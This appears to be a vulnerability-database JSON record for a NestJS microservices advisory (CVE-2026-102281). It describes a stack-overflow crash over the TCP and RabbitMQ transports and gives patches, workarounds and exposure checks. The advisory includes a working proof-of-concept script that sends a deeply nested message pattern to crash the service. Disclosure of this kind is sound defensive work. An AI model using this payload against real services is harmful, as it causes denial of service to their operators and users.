{"id":"CVE-2026-102281","kind":"vulnerability","aliases":["CVE-2026-102281","GHSA-m8vh-jmq9-5rjg"],"related":[],"title":"Nest: Remote process termination via a deeply nested microservice message pattern","description":"| Field | Value |\r\n| --- | --- |\r\n| Ecosystem | npm |\r\n| Package | `@nestjs/microservices` |\r\n| Affected versions | `>= 12.0.0, < 12.0.2` and `< 11.2.4` |\r\n| Patched versions | `12.0.2` and `11.2.4` (upgrade to `12.0.3` / `11.2.5`) |\r\n| Severity | High |\r\n| CVSS v3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` (7.5) |\r\n| CWE | CWE-674 (Uncontrolled Recursion), CWE-248 (Uncaught Exception) |\r\n\r\n### Summary\r\n\r\nA single message whose `pattern` is a deeply nested object terminates a NestJS microservice that uses the TCP or\r\nRabbitMQ transport. The server serialized the client-supplied pattern with `JSON.stringify` to derive the handler\r\nlookup key; on deeply nested input this throws `RangeError: Maximum call stack size exceeded`. The exception escaped\r\nthe asynchronous message handler as an unhandled promise rejection, which terminates the Node.js process under the\r\ndefault `--unhandled-rejections=throw`.\r\n\r\n### Impact\r\n\r\nDenial of service, one message per crash, repeatable. The attacker needs to be able to reach the transport: connect\r\nto the TCP transport's port, or publish to the queue or exchange the service consumes from. The TCP transport\r\nperforms no authentication by default, so on a reachable port this requires nothing else.\r\n\r\nOnly the **TCP** and **RabbitMQ** transports are affected. The other transports take the pattern as a string from the\r\nbroker topic or channel and never serialize a client-supplied object to build it.\r\n\r\n### Details\r\n\r\nIn `ServerTCP#handleMessage` and `ServerRMQ#handleMessage` the pattern was stringified without a guard:\r\n\r\n```ts\r\nconst pattern = isString(packet.pattern)\r\n  ? packet.pattern\r\n  : JSON.stringify(packet.pattern);\r\n```\r\n\r\n`JSON.parse` accepts nesting depths that `JSON.stringify` cannot re-serialize, because `JSON.stringify` recurses\r\nnatively, so an attacker can craft a payload that parses successfully on arrival and then throws when the pattern is\r\nconverted back to a string. Neither transport attached a rejection handler to the promise returned by\r\n`handleMessage`, so the `RangeError` propagated out as an unhandled rejection.\r\n\r\n### Proof of concept\r\n\r\nAgainst a NestJS microservice on the TCP transport (default port 3001). The nested JSON is built as text rather than\r\nwith `JSON.stringify`, which is what makes the payload serializable by the attacker but not by the victim:\r\n\r\n```js\r\nconst { connect } = require('node:net');\r\n\r\nconst DEPTH = 100_000;\r\nconst pattern = '{\"nested\":'.repeat(DEPTH) + '{}' + '}'.repeat(DEPTH);\r\nconst payload = `{\"pattern\":${pattern},\"data\":null,\"id\":\"1\"}`;\r\n\r\nconst socket = connect(3001, '127.0.0.1', () => {\r\n  // Nest's TCP framing is <byteLength>#<json>\r\n  socket.write(`${Buffer.byteLength(payload)}#${payload}`);\r\n});\r\n```\r\n\r\nThe service exits with `RangeError: Maximum call stack size exceeded`. The equivalent payload published to the\r\nconsumed queue crashes a RabbitMQ-transport service.\r\n\r\n### Patches\r\n\r\nFixed in **12.0.2** and **11.2.4**.\r\n\r\n- Incoming patterns are converted through a guarded `Server#getPatternAsString`, which falls back to a sentinel value\r\n  that matches no handler. Such a message now receives the ordinary \"no message handler\" response (TCP) or is\r\n  negatively acknowledged (RabbitMQ) instead of crashing the process.\r\n- Rejections escaping `handleMessage` in both transports are routed to `handleError` rather than left unhandled.\r\n\r\n### Workarounds\r\n\r\nIf you cannot upgrade, restrict network access to the transport so that only trusted peers can reach it. Running the\r\nprocess with `--unhandled-rejections=warn` prevents the crash but leaves the message unprocessed and is not a\r\nsubstitute for the fix.\r\n\r\n### Credit\r\n\r\nReported by ZeroVuln Labs.","summary":"A deeply nested object sent as the message pattern to a NestJS microservice using the TCP or RabbitMQ transport makes the server throw a stack overflow that escapes as an unhandled promise rejection. The Node.js process terminates, and an attacker can repeat this one message at a time to keep the service down.","severity":"high","cvss":7.5,"epss":0.00586,"exploited":false,"exploited_at":null,"products":[{"name":"@nestjs/microservices","note":">= 12.0.0, < 12.0.2 and < 11.2.4","fixed":["12.0.2 and 11.2.4"],"affected":">= 12.0.0, < 12.0.2, < 11.2.4","ecosystem":""},{"name":"@nestjs/microservices","fixed":["11.2.4"],"affected":"< 11.2.4","ecosystem":"npm"},{"name":"@nestjs/microservices","fixed":["12.0.2"],"affected":">= 12.0.0, < 12.0.2","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-248","cwe-674","microservices","nestjs","node","package","rabbitmq","tcp-transport"],"not_affected_if":["other-transports","private-network-only","rabbitmq-auth-restricted"],"how_to_check":"- Check the installed version: `npm ls @nestjs/microservices`\n- Confirm the transport: look for `Transport.TCP` or `Transport.RMQ` in the microservice bootstrap code\n- Check whether the TCP port (default 3001) or the consumed RabbitMQ queue is reachable by untrusted peers","fix":"- `@nestjs/microservices` 12.x: upgrade to `12.0.2` or later\n- `@nestjs/microservices` 11.x: upgrade to `11.2.4` or later","status":"open","published_at":"2026-09-15T08:38:29+00:00","first_seen_at":"2026-11-09T22:53:18+00:00","triaged_at":"2026-11-09T22:59:29+00:00","updated_at":"2026-11-09T22:59:29+00:00","category":"package","confidence":0.9,"triage":{"at":"2026-11-09T22:59:29Z","model":"claude-haiku-5-5","output":{"fix":"- `@nestjs/microservices` 12.x: upgrade to `12.0.2` or later\n- `@nestjs/microservices` 11.x: upgrade to `11.2.4` or later","reach":"network","title":"NestJS microservices: one crafted message crashes the Node process over TCP or RabbitMQ","impact":"medium","summary":"A deeply nested object sent as the message pattern to a NestJS microservice using the TCP or RabbitMQ transport makes the server throw a stack overflow that escapes as an unhandled promise rejection. The Node.js process terminates, and an attacker can repeat this one message at a time to keep the service down.","audience":"developers","category":"package","nicknames":[],"who_cares":["nestjs","node","microservices","tcp-transport","rabbitmq"],"confidence":0.9,"fix_status":"available","needs_auth":"no","worst_case":"Remote attacker repeatedly crashes the microservice process, causing denial of service","analyst_note":"","how_to_check":"- Check the installed version: `npm ls @nestjs/microservices`\n- Confirm the transport: look for `Transport.TCP` or `Transport.RMQ` in the microservice bootstrap code\n- Check whether the TCP port (default 3001) or the consumed RabbitMQ queue is reachable by untrusted peers","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["other-transports","private-network-only","rabbitmq-auth-restricted"],"who_is_affected":"Only NestJS microservices that use the TCP or RabbitMQ transport are exposed; Redis, NATS, Kafka and other transports are not affected. The attacker must be able to reach the TCP port or publish to the RabbitMQ queue or exchange the service consumes, and the TCP transport has no authentication by default. Services behind a private network with only trusted peers can deprioritize it.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.000968,"input_tokens":6173,"output_tokens":701,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-102281':14A,22A '-2026':13A,21A '-248':27B,131C '-674':29B,127C '000':426C '1':441C '100':425C '11.2.4':101C,106C,485C '11.2.5':110C '12.0.0':98C '12.0.2':99C,104C,483C '12.0.3':109C '127.0.0.1':446C '3001':390C,445C '5rjg':19A '7.5':124C 'abl':222C 'accept':319C 'access':549C 'acknowledg':521C 'affect':96C,269C 'arriv':343C 'asynchron':188C 'attach':358C 'attack':77B,218C,334C,411C 'authent':250C 'av':115C 'back':352C,497C 'broker':281C 'buffer.bytelength':453C 'build':294C 'built':395C 'call':180C,462C 'cannot':324C,545C 'channel':284C 'client':161C,290C 'client-suppli':160C,289C 'concept':379C 'connect':227C,419C,444C 'const':311C,418C,423C,427C,434C,442C 'consum':243C,472C 'convert':351C,489C 'craft':336C 'crash':215C,474C,525C,571C 'credit':585C 'cve':12A,20A 'cvss':113C 'cwe':26B,28B,125C,126C,130C 'data':438C 'deepli':7A,39B,142C,173C 'default':203C,252C,388C 'denial':209C 'depth':321C,424C,431C,433C 'deriv':167C 'detail':296C 'ecosystem':92C 'els':261C 'equival':467C 'escap':65B,186C,529C 'exceed':183C,465C 'except':133C,185C 'exchang':240C 'exit':458C 'fall':496C 'field':90C 'fix':481C,584C 'frame':450C 'getpatternasstr':494C 'ghsa':16A 'ghsa-m8vh-jmq9-5rjg':15A 'guard':309C,492C 'h':123C 'handleerror':537C 'handlemessag':299C,302C,367C,530C 'handler':169C,190C,361C,505C,515C 'high':112C 'id':440C 'impact':208C 'incom':486C 'input':175C 'instead':523C 'isstr':313C 'jmq9':18A 'js':417C 'json':393C 'json.parse':318C 'json.stringify':165C,316C,323C,329C,401C 'keep':87B 'key':171C 'l/pr':117C 'lab':589C 'leav':573C 'left':540C 'lookup':170C 'm8vh':17A 'make':57B,405C 'match':503C 'maximum':179C,461C 'messag':10A,45B,82B,137C,189C,213C,508C,514C,575C 'microservic':9A,30B,50B,148C,383C 'n/a':122C 'n/ac':116C 'n/i':121C 'n/s':119C 'n/ui':118C 'nativ':331C 'need':219C 'negat':520C 'neither':356C 'nest':1A,8A,40B,143C,174C,320C,392C,429C,447C 'nestj':31B,49B,147C,382C 'nestjs/microservices':23A,24A,25A,95C 'net':422C 'network':548C 'never':286C 'node':32B,421C 'node.js':72B,199C 'noth':260C 'npm':93C 'null':439C 'object':41B,144C,292C 'one':81B,212C 'ordinari':512C 'overflow':63B 'packag':33B,94C 'packet.pattern':314C,315C,317C 'pars':340C 'patch':102C,480C 'pattern':11A,46B,139C,163C,275C,304C,312C,349C,428C,436C,437C,487C 'payload':338C,407C,435C,454C,455C,468C 'peer':557C 'per':214C 'perform':248C 'port':233C,257C,389C 'prevent':569C 'process':3A,73B,200C,527C,563C 'promis':69B,194C,364C 'proof':377C 'propag':371C 'publish':235C,469C 'queue':238C,473C 'rabbitmq':34B,55B,154C,266C,477C,522C 'rabbitmq-transport':476C 'rangeerror':178C,370C,460C 'rather':398C,538C 're':326C 're-seri':325C 'reach':224C,559C 'reachabl':256C 'receiv':510C 'recurs':129C,330C 'reject':70B,195C,206C,360C,376C,528C,567C 'remot':2A 'repeat':79B,216C,430C,432C 'report':586C 'requir':259C,420C 'respons':516C 'restrict':547C 'return':365C 'rout':535C 'run':561C 'sent':42B 'sentinel':500C 'serial':158C,287C,327C 'serializ':408C 'server':59B,157C,493C 'serverrmq':301C 'servertcp':298C 'servic':89B,211C,242C,457C,479C 'sever':111C 'singl':136C 'size':182C,464C 'socket':443C 'socket.write':452C 'stack':62B,181C,463C 'string':278C,355C 'stringifi':306C 'substitut':581C 'success':341C 'summari':134C 'suppli':162C,291C 'take':273C 'tcp':36B,53B,152C,230C,246C,264C,386C,449C,517C 'tcp-transport':35B 'termin':4A,74B,145C,197C 'text':397C 'throw':60B,177C,207C,346C 'time':85B 'topic':282C 'transport':37B,56B,155C,226C,231C,247C,267C,272C,357C,387C,478C,533C,552C 'trust':556C 'ts':310C 'u/c':120C 'uncaught':132C 'uncontrol':128C 'unhandl':68B,193C,205C,375C,541C,566C 'unhandled-reject':204C,565C 'unprocess':576C 'upgrad':107C,546C 'use':51B,150C 'v3.1':114C 'valu':91C,501C 'version':97C,103C 'via':5A 'victim':416C 'warn':568C 'whose':138C 'without':307C 'workaround':542C 'zerovuln':588C","nicknames":[],"mitigations":[],"who_affected":"Only NestJS microservices that use the TCP or RabbitMQ transport are exposed; Redis, NATS, Kafka and other transports are not affected. The attacker must be able to reach the TCP port or publish to the RabbitMQ queue or exchange the service consumes, and the TCP transport has no authentication by default. Services behind a private network with only trusted peers can deprioritize it.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["microservices"],"ptokens":["microservices","nestjs"],"labels":["cwe248","cwe674","high","microservices","nestjs","node","npm","package","rabbitmq","tcptransport"],"campaign_type":null,"search_a":"'-102281':14A,22A '-2026':13A,21A '5rjg':19A 'cve':12A,20A 'deepli':7A 'ghsa':16A 'ghsa-m8vh-jmq9-5rjg':15A 'jmq9':18A 'm8vh':17A 'messag':10A 'microservic':9A 'nest':1A,8A 'nestjs/microservices':23A,24A,25A 'pattern':11A 'process':3A 'remot':2A 'termin':4A 'via':5A","search_b":"'-248':27B '-674':29B 'attack':77B 'cwe':26B,28B 'deepli':39B 'escap':65B 'keep':87B 'make':57B 'messag':45B,82B 'microservic':30B,50B 'nest':40B 'nestj':31B,49B 'node':32B 'node.js':72B 'object':41B 'one':81B 'overflow':63B 'packag':33B 'pattern':46B 'process':73B 'promis':69B 'rabbitmq':34B,55B 'reject':70B 'repeat':79B 'sent':42B 'server':59B 'servic':89B 'stack':62B 'tcp':36B,53B 'tcp-transport':35B 'termin':74B 'throw':60B 'time':85B 'transport':37B,56B 'unhandl':68B 'use':51B","search_c":"'-248':131C '-674':127C '000':426C '1':441C '100':425C '11.2.4':101C,106C,485C '11.2.5':110C '12.0.0':98C '12.0.2':99C,104C,483C '12.0.3':109C '127.0.0.1':446C '3001':390C,445C '7.5':124C 'abl':222C 'accept':319C 'access':549C 'acknowledg':521C 'affect':96C,269C 'arriv':343C 'asynchron':188C 'attach':358C 'attack':218C,334C,411C 'authent':250C 'av':115C 'back':352C,497C 'broker':281C 'buffer.bytelength':453C 'build':294C 'built':395C 'call':180C,462C 'cannot':324C,545C 'channel':284C 'client':161C,290C 'client-suppli':160C,289C 'concept':379C 'connect':227C,419C,444C 'const':311C,418C,423C,427C,434C,442C 'consum':243C,472C 'convert':351C,489C 'craft':336C 'crash':215C,474C,525C,571C 'credit':585C 'cvss':113C 'cwe':125C,126C,130C 'data':438C 'deepli':142C,173C 'default':203C,252C,388C 'denial':209C 'depth':321C,424C,431C,433C 'deriv':167C 'detail':296C 'ecosystem':92C 'els':261C 'equival':467C 'escap':186C,529C 'exceed':183C,465C 'except':133C,185C 'exchang':240C 'exit':458C 'fall':496C 'field':90C 'fix':481C,584C 'frame':450C 'getpatternasstr':494C 'guard':309C,492C 'h':123C 'handleerror':537C 'handlemessag':299C,302C,367C,530C 'handler':169C,190C,361C,505C,515C 'high':112C 'id':440C 'impact':208C 'incom':486C 'input':175C 'instead':523C 'isstr':313C 'js':417C 'json':393C 'json.parse':318C 'json.stringify':165C,316C,323C,329C,401C 'key':171C 'l/pr':117C 'lab':589C 'leav':573C 'left':540C 'lookup':170C 'make':405C 'match':503C 'maximum':179C,461C 'messag':137C,189C,213C,508C,514C,575C 'microservic':148C,383C 'n/a':122C 'n/ac':116C 'n/i':121C 'n/s':119C 'n/ui':118C 'nativ':331C 'need':219C 'negat':520C 'neither':356C 'nest':143C,174C,320C,392C,429C,447C 'nestj':147C,382C 'nestjs/microservices':95C 'net':422C 'network':548C 'never':286C 'node':421C 'node.js':199C 'noth':260C 'npm':93C 'null':439C 'object':144C,292C 'one':212C 'ordinari':512C 'packag':94C 'packet.pattern':314C,315C,317C 'pars':340C 'patch':102C,480C 'pattern':139C,163C,275C,304C,312C,349C,428C,436C,437C,487C 'payload':338C,407C,435C,454C,455C,468C 'peer':557C 'per':214C 'perform':248C 'port':233C,257C,389C 'prevent':569C 'process':200C,527C,563C 'promis':194C,364C 'proof':377C 'propag':371C 'publish':235C,469C 'queue':238C,473C 'rabbitmq':154C,266C,477C,522C 'rabbitmq-transport':476C 'rangeerror':178C,370C,460C 'rather':398C,538C 're':326C 're-seri':325C 'reach':224C,559C 'reachabl':256C 'receiv':510C 'recurs':129C,330C 'reject':195C,206C,360C,376C,528C,567C 'repeat':216C,430C,432C 'report':586C 'requir':259C,420C 'respons':516C 'restrict':547C 'return':365C 'rout':535C 'run':561C 'sentinel':500C 'serial':158C,287C,327C 'serializ':408C 'server':157C,493C 'serverrmq':301C 'servertcp':298C 'servic':211C,242C,457C,479C 'sever':111C 'singl':136C 'size':182C,464C 'socket':443C 'socket.write':452C 'stack':181C,463C 'string':278C,355C 'stringifi':306C 'substitut':581C 'success':341C 'summari':134C 'suppli':162C,291C 'take':273C 'tcp':152C,230C,246C,264C,386C,449C,517C 'termin':145C,197C 'text':397C 'throw':177C,207C,346C 'topic':282C 'transport':155C,226C,231C,247C,267C,272C,357C,387C,478C,533C,552C 'trust':556C 'ts':310C 'u/c':120C 'uncaught':132C 'uncontrol':128C 'unhandl':193C,205C,375C,541C,566C 'unhandled-reject':204C,565C 'unprocess':576C 'upgrad':107C,546C 'use':150C 'v3.1':114C 'valu':91C,501C 'version':97C,103C 'victim':416C 'warn':568C 'whose':138C 'without':307C 'workaround':542C 'zerovuln':588C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-09-15T08:38:29+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-m8vh-jmq9-5rjg","url":"https://github.com/nestjs/nest/security/advisories/GHSA-m8vh-jmq9-5rjg","severity":"high","published_at":"2026-09-15T08:38:29+00:00","modified_at":"2026-09-28T21:19:57+00:00","first_seen_at":"2026-11-09T22:53:18+00:00","fetched_at":"2026-11-09T22:53:18+00:00","note":null},{"source":"ghsa","external_id":"GHSA-m8vh-jmq9-5rjg","url":"https://github.com/advisories/GHSA-m8vh-jmq9-5rjg","severity":"high","published_at":"2026-09-29T23:54:44+00:00","modified_at":"2026-09-29T23:54:45+00:00","first_seen_at":"2026-11-09T22:57:50+00:00","fetched_at":"2026-11-09T22:57:50+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-102281","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102281","severity":null,"published_at":"2026-09-28T22:17:32+00:00","modified_at":"2026-09-30T19:56:45+00:00","first_seen_at":"2026-11-09T23:10:12+00:00","fetched_at":"2026-11-09T23:10:12+00:00","note":null}],"documents":[{"id":110469,"url":"https://github.com/nestjs/nest/security/advisories/GHSA-m8vh-jmq9-5rjg","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":"2026-09-15T08:38:29+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":110795,"url":"https://api.github.com/repos/nestjs/nest/security-advisories/GHSA-m8vh-jmq9-5rjg","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":110797,"url":"https://github.com/nestjs/nest/pull/17737","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":110798,"url":"https://github.com/nestjs/nest/commit/aa97b5144d8dff1ce700aac521eb86449a679d6f","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":110799,"url":"https://github.com/nestjs/nest/commit/e9dcd4c7ac64361fbfe79461da85f5b3fc3e02da","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":110800,"url":"https://github.com/nestjs/nest/releases/tag/v11.2.4","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":110801,"url":"https://github.com/nestjs/nest/releases/tag/v12.0.2","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.00586,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102281"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}